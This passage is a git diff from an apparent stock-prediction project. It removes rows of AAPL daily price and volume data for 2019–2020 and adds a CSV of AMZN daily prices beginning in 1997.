-2019-08-08,200.1999969482422,203.52999877929688,199.38999938964844,203.42999267578125,202.05337524414062,27009500.0,AAPL
-2019-08-09,201.3000030517578,202.75999450683594,199.2899932861328,200.99000549316406,200.3883819580078,24619700.0,AAPL
-2019-08-12,199.6199951171875,202.0500030517578,199.14999389648438,200.47999572753906,199.87989807128906,22474900.0,AAPL
-2019-08-13,201.02000427246094,212.13999938964844,200.47999572753906,208.97000122070312,208.34449768066406,47218500.0,AAPL
-2019-08-14,203.16000366210938,206.44000244140625,202.58999633789062,202.75,202.1431121826172,36547400.0,AAPL
-2019-08-15,203.4600067138672,205.13999938964844,199.6699981689453,201.74000549316406,201.13613891601562,27227400.0,AAPL
-2019-08-16,204.27999877929688,207.16000366210938,203.83999633789062,206.5,205.8818817138672,27620400.0,AAPL
-2019-08-19,210.6199951171875,212.72999572753906,210.02999877929688,210.35000610351562,209.72036743164062,24413600.0,AAPL
-2019-08-20,210.8800048828125,213.35000610351562,210.32000732421875,210.36000061035156,209.73033142089844,26884300.0,AAPL
-2019-08-21,212.99000549316406,213.64999389648438,211.60000610351562,212.63999938964844,212.00350952148438,21535400.0,AAPL
-2019-08-22,213.19000244140625,214.44000244140625,210.75,212.4600067138672,211.8240509033203,22253700.0,AAPL
-2019-08-23,209.42999267578125,212.0500030517578,201.0,202.63999938964844,202.033447265625,46818000.0,AAPL
-2019-08-26,205.86000061035156,207.19000244140625,205.05999755859375,206.49000549316406,205.87191772460938,26043600.0,AAPL
-2019-08-27,207.86000061035156,208.5500030517578,203.52999877929688,204.16000366210938,203.54888916015625,25873300.0,AAPL
-2019-08-28,204.10000610351562,205.72000122070312,203.32000732421875,205.52999877929688,204.914794921875,15938800.0,AAPL
-2019-08-29,208.5,209.32000732421875,206.66000366210938,209.00999450683594,208.38436889648438,20990500.0,AAPL
-2019-08-30,210.16000366210938,210.4499969482422,207.1999969482422,208.74000549316406,208.1151885986328,21143400.0,AAPL
-2019-09-03,206.42999267578125,206.97999572753906,204.22000122070312,205.6999969482422,205.0842742919922,20023000.0,AAPL
-2019-09-04,208.38999938964844,209.47999572753906,207.32000732421875,209.19000244140625,208.5638427734375,19188100.0,AAPL
-2019-09-05,212.0,213.97000122070312,211.50999450683594,213.27999877929688,212.64158630371094,23913700.0,AAPL
-2019-09-06,214.0500030517578,214.4199981689453,212.50999450683594,213.25999450683594,212.62164306640625,19362300.0,AAPL
-2019-09-09,214.83999633789062,216.44000244140625,211.07000732421875,214.1699981689453,213.5289306640625,27309400.0,AAPL
-2019-09-10,213.86000061035156,216.77999877929688,211.7100067138672,216.6999969482422,216.0513458251953,31777900.0,AAPL
-2019-09-11,218.07000732421875,223.7100067138672,217.72999572753906,223.58999633789062,222.9207305908203,44289600.0,AAPL
-2019-09-12,224.8000030517578,226.4199981689453,222.86000061035156,223.08999633789062,222.42222595214844,32226700.0,AAPL
-2019-09-13,220.0,220.7899932861328,217.02000427246094,218.75,218.09521484375,39763300.0,AAPL
-2019-09-16,217.72999572753906,220.1300048828125,217.55999755859375,219.89999389648438,219.2417755126953,21158100.0,AAPL
-2019-09-17,219.9600067138672,220.82000732421875,219.1199951171875,220.6999969482422,220.0393829345703,18318700.0,AAPL
-2019-09-18,221.05999755859375,222.85000610351562,219.44000244140625,222.77000427246094,222.1031951904297,25340000.0,AAPL
-2019-09-19,222.00999450683594,223.75999450683594,220.3699951171875,220.9600067138672,220.29861450195312,22060600.0,AAPL
-2019-09-20,221.3800048828125,222.55999755859375,217.47000122070312,217.72999572753906,217.07826232910156,55413100.0,AAPL
-2019-09-23,218.9499969482422,219.83999633789062,217.64999389648438,218.72000122070312,218.0653076171875,19165500.0,AAPL
-2019-09-24,221.02999877929688,222.49000549316406,217.19000244140625,217.67999267578125,217.02841186523438,31190800.0,AAPL
-2019-09-25,218.5500030517578,221.5,217.13999938964844,221.02999877929688,220.36839294433594,21903400.0,AAPL
-2019-09-26,220.0,220.94000244140625,218.8300018310547,219.88999938964844,219.2318115234375,18833500.0,AAPL
-2019-09-27,220.5399932861328,220.9600067138672,217.27999877929688,218.82000732421875,218.16502380371094,25352000.0,AAPL
-2019-09-30,220.89999389648438,224.5800018310547,220.7899932861328,223.97000122070312,223.29959106445312,25977400.0,AAPL
-2019-10-01,225.07000732421875,228.22000122070312,224.1999969482422,224.58999633789062,223.91773986816406,34805800.0,AAPL
-2019-10-02,223.05999755859375,223.5800018310547,217.92999267578125,218.9600067138672,218.30459594726562,34612300.0,AAPL
-2019-10-03,218.42999267578125,220.9600067138672,215.1300048828125,220.82000732421875,220.15902709960938,28606500.0,AAPL
-2019-10-04,225.63999938964844,227.49000549316406,223.88999938964844,227.00999450683594,226.3304901123047,34619700.0,AAPL
-2019-10-07,226.27000427246094,229.92999267578125,225.83999633789062,227.05999755859375,226.38034057617188,30576500.0,AAPL
-2019-10-08,225.82000732421875,228.05999755859375,224.3300018310547,224.39999389648438,223.72830200195312,27955000.0,AAPL
-2019-10-09,227.02999877929688,227.7899932861328,225.63999938964844,227.02999877929688,226.35043334960938,18692600.0,AAPL
-2019-10-10,227.92999267578125,230.44000244140625,227.3000030517578,230.08999633789062,229.40127563476562,28253400.0,AAPL
-2019-10-11,232.9499969482422,237.63999938964844,232.30999755859375,236.2100067138672,235.50296020507812,41698900.0,AAPL
-2019-10-14,234.89999389648438,238.1300048828125,234.6699981689453,235.8699951171875,235.16397094726562,24106900.0,AAPL
-2019-10-15,236.38999938964844,237.64999389648438,234.8800048828125,235.32000732421875,234.61563110351562,21840000.0,AAPL
-2019-10-16,233.3699951171875,235.24000549316406,233.1999969482422,234.3699951171875,233.66845703125,18475800.0,AAPL
-2019-10-17,235.08999633789062,236.14999389648438,233.52000427246094,235.27999877929688,234.57574462890625,16896300.0,AAPL
-2019-10-18,234.58999633789062,237.5800018310547,234.2899932861328,236.41000366210938,235.70236206054688,24358400.0,AAPL
-2019-10-21,237.52000427246094,240.99000549316406,237.32000732421875,240.50999450683594,239.7900848388672,21811800.0,AAPL
-2019-10-22,241.16000366210938,242.1999969482422,239.6199951171875,239.9600067138672,239.2417449951172,20573400.0,AAPL
-2019-10-23,242.10000610351562,243.24000549316406,241.22000122070312,243.17999267578125,242.45208740234375,18957200.0,AAPL
-2019-10-24,244.50999450683594,244.8000030517578,241.80999755859375,243.5800018310547,242.85089111328125,17318800.0,AAPL
-2019-10-25,243.16000366210938,246.72999572753906,242.8800048828125,246.5800018310547,245.8419189453125,18369300.0,AAPL
-2019-10-28,247.4199981689453,249.25,246.72000122070312,249.0500030517578,248.3045196533203,24143200.0,AAPL
-2019-10-29,248.97000122070312,249.75,242.57000732421875,243.2899932861328,242.56175231933594,35709900.0,AAPL
-2019-10-30,244.75999450683594,245.3000030517578,241.2100067138672,243.25999450683594,242.53184509277344,31130500.0,AAPL
-2019-10-31,247.24000549316406,249.1699981689453,237.25999450683594,248.75999450683594,248.015380859375,34790500.0,AAPL
-2019-11-01,249.5399932861328,255.92999267578125,249.16000366210938,255.82000732421875,255.05426025390625,37781300.0,AAPL
-2019-11-04,257.3299865722656,257.8500061035156,255.3800048828125,257.5,256.7292175292969,25818000.0,AAPL
-2019-11-05,257.04998779296875,258.19000244140625,256.32000732421875,257.1300048828125,256.3603515625,19974400.0,AAPL
-2019-11-06,256.7699890136719,257.489990234375,255.3699951171875,257.239990234375,256.4700012207031,18966100.0,AAPL
-2019-11-07,258.739990234375,260.3500061035156,258.1099853515625,259.42999267578125,259.42999267578125,23735100.0,AAPL
-2019-11-08,258.69000244140625,260.44000244140625,256.8500061035156,260.1400146484375,260.1400146484375,17496600.0,AAPL
-2019-11-11,258.29998779296875,262.4700012207031,258.2799987792969,262.20001220703125,262.20001220703125,20455300.0,AAPL
-2019-11-12,261.54998779296875,262.7900085449219,260.9200134277344,261.9599914550781,261.9599914550781,21847200.0,AAPL
-2019-11-13,261.1300048828125,264.7799987792969,261.07000732421875,264.4700012207031,264.4700012207031,25683600.0,AAPL
-2019-11-14,263.75,264.8800048828125,262.1000061035156,262.6400146484375,262.6400146484375,22295700.0,AAPL
-2019-11-15,263.67999267578125,265.7799987792969,263.010009765625,265.760009765625,265.760009765625,25051600.0,AAPL
-2019-11-18,265.79998779296875,267.42999267578125,264.2300109863281,267.1000061035156,267.1000061035156,21675800.0,AAPL
-2019-11-19,267.8999938964844,268.0,265.3900146484375,266.2900085449219,266.2900085449219,19041800.0,AAPL
-2019-11-20,265.5400085449219,266.0799865722656,260.3999938964844,263.19000244140625,263.19000244140625,26558600.0,AAPL
-2019-11-21,263.69000244140625,264.010009765625,261.17999267578125,262.010009765625,262.010009765625,30348800.0,AAPL
-2019-11-22,262.5899963378906,263.17999267578125,260.8399963378906,261.7799987792969,261.7799987792969,16331300.0,AAPL
-2019-11-25,262.7099914550781,266.44000244140625,262.5199890136719,266.3699951171875,266.3699951171875,21005100.0,AAPL
-2019-11-26,266.94000244140625,267.1600036621094,262.5,264.2900085449219,264.2900085449219,26301900.0,AAPL
-2019-11-27,265.5799865722656,267.9800109863281,265.30999755859375,267.8399963378906,267.8399963378906,16308900.0,AAPL
-2019-11-29,266.6000061035156,268.0,265.8999938964844,267.25,267.25,11654400.0,AAPL
-2019-12-02,267.2699890136719,268.25,263.45001220703125,264.1600036621094,264.1600036621094,23621800.0,AAPL
-2019-12-03,258.30999755859375,259.5299987792969,256.2900085449219,259.45001220703125,259.45001220703125,28607600.0,AAPL
-2019-12-04,261.07000732421875,263.30999755859375,260.67999267578125,261.739990234375,261.739990234375,16795400.0,AAPL
-2019-12-05,263.7900085449219,265.8900146484375,262.7300109863281,265.5799865722656,265.5799865722656,18606100.0,AAPL
-2019-12-06,267.4800109863281,271.0,267.29998779296875,270.7099914550781,270.7099914550781,26518900.0,AAPL
-2019-12-09,270.0,270.79998779296875,264.9100036621094,266.9200134277344,266.9200134277344,32010600.0,AAPL
-2019-12-10,268.6000061035156,270.07000732421875,265.8599853515625,268.4800109863281,268.4800109863281,22605100.0,AAPL
-2019-12-11,268.80999755859375,271.1000061035156,268.5,270.7699890136719,270.7699890136719,19689200.0,AAPL
-2019-12-12,267.7799987792969,272.55999755859375,267.32000732421875,271.4599914550781,271.4599914550781,34327600.0,AAPL
-2019-12-13,271.4599914550781,275.29998779296875,270.92999267578125,275.1499938964844,275.1499938964844,33396900.0,AAPL
-2019-12-16,277.0,280.7900085449219,276.9800109863281,279.8599853515625,279.8599853515625,32046500.0,AAPL
-2019-12-17,279.57000732421875,281.7699890136719,278.79998779296875,280.4100036621094,280.4100036621094,28539600.0,AAPL
-2019-12-18,279.79998779296875,281.8999938964844,279.1199951171875,279.739990234375,279.739990234375,29007100.0,AAPL
-2019-12-19,279.5,281.17999267578125,278.95001220703125,280.0199890136719,280.0199890136719,24592300.0,AAPL
-2019-12-20,282.2300109863281,282.6499938964844,278.55999755859375,279.44000244140625,279.44000244140625,68994500.0,AAPL
-2019-12-23,280.5299987792969,284.25,280.3699951171875,284.0,284.0,24643000.0,AAPL
-2019-12-24,284.69000244140625,284.8900146484375,282.9200134277344,284.2699890136719,284.2699890136719,12119700.0,AAPL
-2019-12-26,284.82000732421875,289.9800109863281,284.70001220703125,289.9100036621094,289.9100036621094,23280300.0,AAPL
-2019-12-27,291.1199951171875,293.9700012207031,288.1199951171875,289.79998779296875,289.79998779296875,36566500.0,AAPL
-2019-12-30,289.4599914550781,292.69000244140625,285.2200012207031,291.5199890136719,291.5199890136719,36028600.0,AAPL
-2019-12-31,289.92999267578125,293.67999267578125,289.5199890136719,293.6499938964844,293.6499938964844,25201400.0,AAPL
-2020-01-02,296.239990234375,300.6000061035156,295.19000244140625,300.3500061035156,300.3500061035156,33870100.0,AAPL
-2020-01-03,297.1499938964844,300.5799865722656,296.5,297.42999267578125,297.42999267578125,36580700.0,AAPL
-2020-01-06,293.7900085449219,299.9599914550781,292.75,299.79998779296875,299.79998779296875,29596800.0,AAPL
-2020-01-07,299.8399963378906,300.8999938964844,297.4800109863281,298.3900146484375,298.3900146484375,27218000.0,AAPL
diff --git a/machine-learning/stock-prediction/data/AMZN_2021-05-31.csv b/machine-learning/stock-prediction/data/AMZN_2021-05-31.csv
new file mode 100644
index 00000000..41c1d73e
--- /dev/null
+++ b/machine-learning/stock-prediction/data/AMZN_2021-05-31.csv
@@ -0,0 +1,6051 @@
+,open,high,low,close,adjclose,volume,ticker
+1997-05-15,2.4375,2.5,1.9270830154418945,1.9583330154418945,1.9583330154418945,72156000,AMZN
+1997-05-16,1.96875,1.9791669845581055,1.7083330154418945,1.7291669845581055,1.7291669845581055,14700000,AMZN
+1997-05-19,1.7604169845581055,1.7708330154418945,1.625,1.7083330154418945,1.7083330154418945,6106800,AMZN
+1997-05-20,1.7291669845581055,1.75,1.6354169845581055,1.6354169845581055,1.6354169845581055,5467200,AMZN
+1997-05-21,1.6354169845581055,1.6458330154418945,1.375,1.4270830154418945,1.4270830154418945,18853200,AMZN
+1997-05-22,1.4375,1.4479169845581055,1.3125,1.3958330154418945,1.3958330154418945,11776800,AMZN
+1997-05-23,1.40625,1.5208330154418945,1.3333330154418945,1.5,1.5,15937200,AMZN
+1997-05-27,1.5104169845581055,1.6458330154418945,1.4583330154418945,1.5833330154418945,1.5833330154418945,8697600,AMZN
+1997-05-28,1.625,1.6354169845581055,1.53125,1.53125,1.53125,4574400,AMZN
+1997-05-29,1.5416669845581055,1.5416669845581055,1.4791669845581055,1.5052080154418945,1.5052080154418945,3472800,AMZN
+1997-05-30,1.5,1.5104169845581055,1.4791669845581055,1.5,1.5,2594400,AMZN
+1997-06-02,1.5104169845581055,1.53125,1.5,1.5104169845581055,1.5104169845581055,591600,AMZN
+1997-06-03,1.53125,1.53125,1.4791669845581055,1.4791669845581055,1.4791669845581055,1183200,AMZN
+1997-06-04,1.4791669845581055,1.4895830154418945,1.3958330154418945,1.4166669845581055,1.4166669845581055,3080400,AMZN
+1997-06-05,1.4166669845581055,1.5416669845581055,1.375,1.5416669845581055,1.5416669845581055,5672400,AMZN
+1997-06-06,1.515625,1.7083330154418945,1.5104169845581055,1.65625,1.65625,7807200,AMZN
+1997-06-09,1.65625,1.7083330154418945,1.65625,1.6875,1.6875,2352000,AMZN
+1997-06-10,1.7083330154418945,1.7083330154418945,1.53125,1.5833330154418945,1.5833330154418945,5458800,AMZN
+1997-06-11,1.59375,1.6041669845581055,1.53125,1.5416669845581055,1.5416669845581055,1188000,AMZN
+1997-06-12,1.5833330154418945,1.6458330154418945,1.5520830154418945,1.6041669845581055,1.6041669845581055,1632000,AMZN
+1997-06-13,1.625,1.625,1.5833330154418945,1.5833330154418945,1.5833330154418945,693600,AMZN
+1997-06-16,1.6041669845581055,1.6041669845581055,1.5625,1.5729169845581055,1.5729169845581055,913200,AMZN
+1997-06-17,1.5989580154418945,1.5989580154418945,1.4947919845581055,1.5052080154418945,1.5052080154418945,4706400,AMZN
+1997-06-18,1.5208330154418945,1.5364580154418945,1.5,1.5104169845581055,1.5104169845581055,2464800,AMZN
+1997-06-19,1.5104169845581055,1.53125,1.5,1.5104169845581055,1.5104169845581055,1003200,AMZN
+1997-06-20,1.53125,1.5520830154418945,1.5,1.5260419845581055,1.5260419845581055,3387600,AMZN
+1997-06-23,1.5416669845581055,1.5416669845581055,1.4791669845581055,1.5,1.5,1047600,AMZN
+1997-06-24,1.5052080154418945,1.5260419845581055,1.4791669845581055,1.5104169845581055,1.5104169845581055,751200,AMZN
+1997-06-25,1.5260419845581055,1.5260419845581055,1.4895830154418945,1.5104169845581055,1.5104169845581055,2106000,AMZN
+1997-06-26,1.5208330154418945,1.5208330154418945,1.5052080154418945,1.5104169845581055,1.5104169845581055,3189600,AMZN
+1997-06-27,1.515625,1.515625,1.4791669845581055,1.4895830154418945,1.4895830154418945,1188000,AMZN
+1997-06-30,1.5104169845581055,1.5989580154418945,1.4791669845581055,1.5416669845581055,1.5416669845581055,2746800,AMZN
+1997-07-01,1.5416669845581055,1.5416669845581055,1.5104169845581055,1.515625,1.515625,1292400,AMZN
+1997-07-02,1.515625,1.59375,1.5104169845581055,1.5885419845581055,1.5885419845581055,3882000,AMZN
+1997-07-03,1.5989580154418945,1.9166669845581055,1.59375,1.9114580154418945,1.9114580154418945,12577200,AMZN
+1997-07-07,1.8333330154418945,2.0208330154418945,1.8333330154418945,2.0,2.0,8053200,AMZN
+1997-07-08,2.0416669845581055,2.3333330154418945,2.0416669845581055,2.3020830154418945,2.3020830154418945,15517200,AMZN
+1997-07-09,2.3020830154418945,2.3854169845581055,2.2708330154418945,2.3229169845581055,2.3229169845581055,8262000,AMZN
+1997-07-10,2.3333330154418945,2.5729169845581055,2.3333330154418945,2.5625,2.5625,9051600,AMZN
+1997-07-11,2.5208330154418945,2.5208330154418945,2.2083330154418945,2.2916669845581055,2.2916669845581055,10531200,AMZN
+1997-07-14,2.3229169845581055,2.3333330154418945,2.1145830154418945,2.1354169845581055,2.1354169845581055,4604400,AMZN
+1997-07-15,2.1354169845581055,2.4791669845581055,2.1354169845581055,2.4375,2.4375,9274800,AMZN
+1997-07-16,2.4479169845581055,2.4947919845581055,2.3020830154418945,2.3333330154418945,2.3333330154418945,3024000,AMZN
+1997-07-17,2.34375,2.34375,2.15625,2.21875,2.21875,3169200,AMZN
+1997-07-18,2.1875,2.21875,2.15625,2.15625,2.15625,780000,AMZN
+1997-07-21,2.1770830154418945,2.1979169845581055,2.1458330154418945,2.1822919845581055,2.1822919845581055,574800,AMZN
+1997-07-22,2.1666669845581055,2.1875,2.0625,2.1354169845581055,2.1354169845581055,1563600,AMZN
+1997-07-23,2.1875,2.3333330154418945,2.1770830154418945,2.2916669845581055,2.2916669845581055,3259200,AMZN
+1997-07-24,2.3020830154418945,2.3125,2.21875,2.2604169845581055,2.2604169845581055,1216800,AMZN
+1997-07-25,2.21875,2.25,2.21875,2.2291669845581055,2.2291669845581055,620400,AMZN
+1997-07-28,2.2291669845581055,2.3958330154418945,2.21875,2.3229169845581055,2.3229169845581055,2574000,AMZN
+1997-07-29,2.3645830154418945,2.5,2.3333330154418945,2.4791669845581055,2.4791669845581055,4814400,AMZN
+1997-07-30,2.5,2.5052080154418945,2.4270830154418945,2.4479169845581055,2.4479169845581055,2517600,AMZN
+1997-07-31,2.4375,2.4375,2.3333330154418945,2.3958330154418945,2.3958330154418945,1454400,AMZN
+1997-08-01,2.34375,2.4166669845581055,2.25,2.4166669845581055,2.4166669845581055,3588000,AMZN
+1997-08-04,2.375,2.4114580154418945,2.3020830154418945,2.3125,2.3125,2671200,AMZN
+1997-08-05,2.3333330154418945,2.3333330154418945,2.1458330154418945,2.2083330154418945,2.2083330154418945,3032400,AMZN
+1997-08-06,2.2083330154418945,2.3125,2.1875,2.25,2.25,1243200,AMZN
+1997-08-07,2.25,2.2604169845581055,2.125,2.1770830154418945,2.1770830154418945,2034000,AMZN
+1997-08-08,2.1666669845581055,2.3020830154418945,2.1041669845581055,2.2916669845581055,2.2916669845581055,2211600,AMZN
+1997-08-11,2.2916669845581055,2.3333330154418945,2.25,2.328125,2.328125,1239600,AMZN
+1997-08-12,2.28125,2.3020830154418945,2.1979169845581055,2.1979169845581055,2.1979169845581055,571200,AMZN
+1997-08-13,2.2291669845581055,2.2291669845581055,2.1666669845581055,2.1979169845581055,2.1979169845581055,590400,AMZN
+1997-08-14,2.1770830154418945,2.25,2.1197919845581055,2.15625,2.15625,1041600,AMZN
+1997-08-15,2.1354169845581055,2.15625,1.9375,2.1145830154418945,2.1145830154418945,1597200,AMZN
+1997-08-18,2.0520830154418945,2.0520830154418945,1.96875,2.0416669845581055,2.0416669845581055,1784400,AMZN
+1997-08-19,2.09375,2.2083330154418945,2.0520830154418945,2.1666669845581055,2.1666669845581055,1003200,AMZN
+1997-08-20,2.1875,2.1875,2.0729169845581055,2.1666669845581055,2.1666669845581055,999600,AMZN
+1997-08-21,2.1354169845581055,2.171875,2.0729169845581055,2.1145830154418945,2.1145830154418945,624000,AMZN
+1997-08-22,2.1041669845581055,2.125,2.09375,2.125,2.125,712800,AMZN
+1997-08-25,2.1041669845581055,2.2604169845581055,2.1041669845581055,2.21875,2.21875,1126800,AMZN
+1997-08-26,2.2395830154418945,2.3541669845581055,2.2291669845581055,2.34375,2.34375,2574000,AMZN
+1997-08-27,2.3072919845581055,2.3229169845581055,2.25,2.3177080154418945,2.3177080154418945,1392000,AMZN
+1997-08-28,2.3020830154418945,2.3958330154418945,2.28125,2.375,2.375,1147200,AMZN
+1997-08-29,2.3645830154418945,2.375,2.3229169845581055,2.3385419845581055,2.3385419845581055,722400,AMZN
+1997-09-02,2.34375,2.375,2.3333330154418945,2.3541669845581055,2.3541669845581055,732000,AMZN
+1997-09-03,2.34375,2.4166669845581055,2.3125,2.3333330154418945,2.3333330154418945,1964400,AMZN
+1997-09-04,2.3645830154418945,2.5520830154418945,2.34375,2.5520830154418945,2.5520830154418945,3348000,AMZN
+1997-09-05,2.5833330154418945,2.6666669845581055,2.4583330154418945,2.5,2.5,1908000,AMZN
+1997-09-08,2.53125,3.0208330154418945,2.5,3.0,3.0,5648400,AMZN
+1997-09-09,3.140625,3.3854169845581055,3.0260419845581055,3.2395830154418945,3.2395830154418945,8971200,AMZN
+1997-09-10,3.3125,3.328125,3.125,3.3020830154418945,3.3020830154418945,3866400,AMZN
+1997-09-11,3.3333330154418945,3.3333330154418945,3.0416669845581055,3.15625,3.15625,4262400,AMZN
+1997-09-12,3.1875,3.6979169845581055,3.15625,3.6875,3.6875,3333600,AMZN
+1997-09-15,3.6666669845581055,3.6770830154418945,3.0520830154418945,3.09375,3.09375,5583600,AMZN
+1997-09-16,3.125,3.5416669845581055,3.1197919845581055,3.3541669845581055,3.3541669845581055,6432000,AMZN
+1997-09-17,3.4583330154418945,3.5,3.3333330154418945,3.40625,3.40625,2607600,AMZN
+1997-09-18,3.4375,3.46875,3.28125,3.2916669845581055,3.2916669845581055,2128800,AMZN
+1997-09-19,3.3802080154418945,4.0833330154418945,3.375,3.9479169845581055,3.9479169845581055,8929200,AMZN
+1997-09-22,4.0,4.6770830154418945,3.9479169845581055,4.5,4.5,16938000,AMZN
+1997-09-23,4.4895830154418945,4.6458330154418945,4.3958330154418945,4.625,4.625,7682400,AMZN
+1997-09-24,4.6458330154418945,4.8125,4.2916669845581055,4.375,4.375,8200800,AMZN
+1997-09-25,4.34375,4.3541669845581055,4.0520830154418945,4.078125,4.078125,4968000,AMZN
+1997-09-26,4.0729169845581055,4.2604169845581055,4.0520830154418945,4.1666669845581055,4.1666669845581055,2731200,AMZN
+1997-09-29,4.1458330154418945,4.1875,3.9583330154418945,4.0416669845581055,4.0416669845581055,2371200,AMZN
+1997-09-30,4.0,4.3489580154418945,3.8020830154418945,4.3385419845581055,4.3385419845581055,5254800,AMZN
+1997-10-01,4.4375,4.5,3.9375,4.0208330154418945,4.0208330154418945,4999200,AMZN
+1997-10-02,4.0416669845581055,4.1770830154418945,3.9895830154418945,4.0104169845581055,4.0104169845581055,1876800,AMZN
+1997-10-03,4.0833330154418945,4.125,3.9791669845581055,4.015625,4.015625,1164000,AMZN
+1997-10-06,4.0,4.125,3.9427080154418945,4.125,4.125,2028000,AMZN
+1997-10-07,4.0833330154418945,4.1875,4.0416669845581055,4.0572919845581055,4.0572919845581055,1742400,AMZN
+1997-10-08,4.1458330154418945,4.1666669845581055,3.984375,4.0052080154418945,4.0052080154418945,2806800,AMZN
+1997-10-09,4.0,4.0208330154418945,3.7395830154418945,3.75,3.75,3950400,AMZN
+1997-10-10,3.7291669845581055,4.0625,3.6666669845581055,3.9010419845581055,3.9010419845581055,3787200,AMZN
+1997-10-13,3.9270830154418945,4.0416669845581055,3.9270830154418945,4.0,4.0,814800,AMZN
+1997-10-14,4.0625,4.1041669845581055,3.8333330154418945,3.9791669845581055,3.9791669845581055,1546800,AMZN
+1997-10-15,3.96875,3.96875,3.7708330154418945,3.921875,3.921875,2355600,AMZN
+1997-10-16,3.9791669845581055,3.9791669845581055,3.6041669845581055,3.625,3.625,3481200,AMZN
+1997-10-17,3.6145830154418945,3.65625,3.5208330154418945,3.625,3.625,2534400,AMZN
+1997-10-20,3.6770830154418945,3.875,3.6666669845581055,3.8229169845581055,3.8229169845581055,4912800,AMZN
+1997-10-21,3.9583330154418945,4.4375,3.8541669845581055,4.4270830154418945,4.4270830154418945,12096000,AMZN
+1997-10-22,4.4166669845581055,4.6197919845581055,4.375,4.5208330154418945,4.5208330154418945,5208000,AMZN
+1997-10-23,4.2291669845581055,4.5625,4.1875,4.5,4.5,5656800,AMZN
+1997-10-24,4.75,5.0625,4.5416669845581055,5.0260419845581055,5.0260419845581055,9492000,AMZN
+1997-10-27,4.8020830154418945,5.0104169845581055,4.2291669845581055,4.2708330154418945,4.2708330154418945,6091200,AMZN
+1997-10-28,3.9166669845581055,5.0,3.875,4.9479169845581055,4.9479169845581055,11719200,AMZN
+1997-10-29,5.1458330154418945,5.5,5.0,5.390625,5.390625,7126800,AMZN
+1997-10-30,5.2083330154418945,5.3541669845581055,5.0416669845581055,5.125,5.125,4770000,AMZN
+1997-10-31,5.3645830154418945,5.4583330154418945,4.96875,5.0833330154418945,5.0833330154418945,5026800,AMZN
+1997-11-03,5.21875,5.21875,4.9479169845581055,5.0729169845581055,5.0729169845581055,1999200,AMZN
+1997-11-04,5.0,5.0520830154418945,4.8229169845581055,4.9583330154418945,4.9583330154418945,2365200,AMZN
+1997-11-05,4.9791669845581055,5.1197919845581055,4.875,4.875,4.875,3093600,AMZN
+1997-11-06,4.9166669845581055,4.9166669845581055,4.6354169845581055,4.6614580154418945,4.6614580154418945,2913600,AMZN
+1997-11-07,4.4166669845581055,4.640625,4.3854169845581055,4.4791669845581055,4.4791669845581055,2626800,AMZN
+1997-11-10,4.5,4.5625,4.2083330154418945,4.2083330154418945,4.2083330154418945,2764800,AMZN
+1997-11-11,4.2447919845581055,4.3125,3.9166669845581055,3.9479169845581055,3.9479169845581055,4312800,AMZN
+1997-11-12,3.7760419845581055,4.1875,3.6666669845581055,3.7708330154418945,3.7708330154418945,8683200,AMZN
+1997-11-13,3.9479169845581055,3.96875,3.7708330154418945,3.859375,3.859375,4290000,AMZN
+1997-11-14,3.9375,4.2083330154418945,3.78125,4.1666669845581055,4.1666669845581055,5869200,AMZN
+1997-11-17,4.2291669845581055,4.5416669845581055,4.21875,4.375,4.375,7394400,AMZN
+1997-11-18,4.375,4.4791669845581055,4.34375,4.4166669845581055,4.4166669845581055,1866000,AMZN
+1997-11-19,4.40625,4.5208330154418945,4.3125,4.5104169845581055,4.5104169845581055,2534400,AMZN
+1997-11-20,4.5729169845581055,4.6041669845581055,4.5104169845581055,4.5833330154418945,4.5833330154418945,5923200,AMZN
+1997-11-21,4.5520830154418945,4.5833330154418945,4.4895830154418945,4.4895830154418945,4.4895830154418945,2602800,AMZN
+1997-11-24,4.375,4.4166669845581055,4.2291669845581055,4.2291669845581055,4.2291669845581055,2019600,AMZN
+1997-11-25,4.2395830154418945,4.3333330154418945,4.0416669845581055,4.203125,4.203125,3304800,AMZN
+1997-11-26,4.2395830154418945,4.4114580154418945,4.2395830154418945,4.2604169845581055,4.2604169845581055,1630800,AMZN
+1997-11-28,4.2708330154418945,4.3333330154418945,4.1145830154418945,4.125,4.125,1603200,AMZN
+1997-12-01,4.2395830154418945,4.375,4.1354169845581055,4.2708330154418945,4.2708330154418945,2383200,AMZN
+1997-12-02,4.2604169845581055,4.3020830154418945,4.1770830154418945,4.234375,4.234375,1262400,AMZN
+1997-12-03,4.1979169845581055,4.375,4.1875,4.3645830154418945,4.3645830154418945,1290000,AMZN
+1997-12-04,4.4010419845581055,4.5520830154418945,4.3854169845581055,4.5,4.5,3038400,AMZN
+1997-12-05,4.4375,4.59375,4.3541669845581055,4.59375,4.59375,2661600,AMZN
+1997-12-08,4.5416669845581055,4.7708330154418945,4.5208330154418945,4.7083330154418945,4.7083330154418945,4766400,AMZN
+1997-12-09,4.6666669845581055,4.7708330154418945,4.6041669845581055,4.6875,4.6875,1332000,AMZN
+1997-12-10,4.5833330154418945,4.625,4.3958330154418945,4.5104169845581055,4.5104169845581055,1444800,AMZN
+1997-12-11,4.3958330154418945,4.8333330154418945,4.3958330154418945,4.6875,4.6875,5014800,AMZN
+1997-12-12,4.6458330154418945,4.8020830154418945,4.40625,4.5416669845581055,4.5416669845581055,2672400,AMZN
+1997-12-15,4.5833330154418945,4.6666669845581055,4.40625,4.5833330154418945,4.5833330154418945,1694400,AMZN
+1997-12-16,4.6458330154418945,4.6458330154418945,4.4583330154418945,4.4583330154418945,4.4583330154418945,1687200,AMZN
+1997-12-17,4.375,4.4583330154418945,4.2552080154418945,4.390625,4.390625,6140400,AMZN
+1997-12-18,4.3541669845581055,4.4270830154418945,4.2291669845581055,4.2916669845581055,4.2916669845581055,3204000,AMZN
+1997-12-19,4.2291669845581055,4.5208330154418945,4.1666669845581055,4.5,4.5,4753200,AMZN
+1997-12-22,4.5,4.78125,4.4322919845581055,4.6979169845581055,4.6979169845581055,4352400,AMZN
+1997-12-23,4.6875,4.7395830154418945,4.625,4.625,4.625,1177200,AMZN
+1997-12-24,4.625,4.7083330154418945,4.46875,4.6041669845581055,4.6041669845581055,2336400,AMZN
+1997-12-26,4.5625,4.6458330154418945,4.4895830154418945,4.5208330154418945,4.5208330154418945,487200,AMZN
+1997-12-29,4.5833330154418945,4.78125,4.53125,4.75,4.75,2552400,AMZN
+1997-12-30,4.8333330154418945,4.90625,4.78125,4.8489580154418945,4.8489580154418945,6285600,AMZN
+1997-12-31,4.875,5.0416669845581055,4.84375,5.0208330154418945,5.0208330154418945,4446000,AMZN
+1998-01-02,5.0,5.0,4.796875,4.9583330154418945,4.9583330154418945,1660800,AMZN
